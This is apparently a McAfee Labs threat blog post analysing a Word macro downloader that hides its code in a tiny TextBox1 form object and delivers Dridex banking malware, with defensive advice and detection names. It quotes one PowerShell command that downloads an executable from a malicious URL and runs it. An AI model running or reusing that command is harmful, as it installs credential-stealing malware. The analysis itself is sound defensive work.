Macro malware is on the upswing and cybercriminals are always searching for new ways to deceive users and evade detection. McAfee Labs recently discovered a W97M/Downloader variant that uses a new technique to obfuscate its malicious intentions.
Almost one year ago, we discovered Microsoft Office XML documents containing compressed MSO ActiveMime objects. These objects extract an encrypted OLE object that is executed along with the malicious code contained within multiple macros. (See ‘Banking’ Malware Dridex Arrives via Phishing Email.) Today, this technique has evolved and two new protection layers have been added to this infection chain:
- The malicious XML document is now hidden in a multipart MIME object distributed as .RTF or .DOC files that arrive via phishing or spam emails. Upon opening the attachments on these emails, the malicious code in the embedded OLE document runs.
- The code responsible for downloading and executing the final payload is no longer in the macro. It is now in a TextBox1 object embedded in a form object, shown in the following image:
As we can see in the preceding shot, the malicious code is hidden within the Value and Text attributes from the TextBox1 object, and of course are not visible in the macros. In the image we have resized the TextBox1 object to show the code. The actual TextBox1 object in the malware is very small, which at first effectively hides it.
We found other macros in the document but their only function is to execute the code in TextBox1 object, as the following shots show:
By calling the TextBox1 object, shown above, the malware executes the following PowerShell command to download and execute the malicious payload:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile(‘http://raspberry.diversified-capital-management.com/zalupa/kurva.php’,’%TEMP%\sdjgbcjkds.exe’);Start-Process ‘%TEMP%\sdjgbcjkds.exe’;
The malicious payload is associated with Dridex, “banking” malware that can steal user credentials for online banking accounts. Dridex was derived from Cridex and both are part of the GameOver Zeus malware family.
Full descriptions of the W97M, X97M, and Dridex malware families are available in our Threat Advisories:
- W97M/Downloader and X97M/Downloader Threat Advisory
- Dridex Threat Advisory
We recommend that users never open emails sent by unknown parties, especially if they come with unknown attachments. We also recommend that users not enable macro functionality within Microsoft Office. Malicious emails commonly contain instructions asking users to enable macros and giving specific instructions for how to enable them, but users should never follow these instructions.
During our analysis, the malware contacted the following control servers (with URLs modified for safety):
MD5 hashes for the samples we found:
McAfee advises all users to keep their antimalware signatures up to date at all times. McAfee products detect this Office malformed Trojan as W97M/Downloader![Partial hash] and Dridex as Trojan-Dridex with DAT Versions 8097 and later.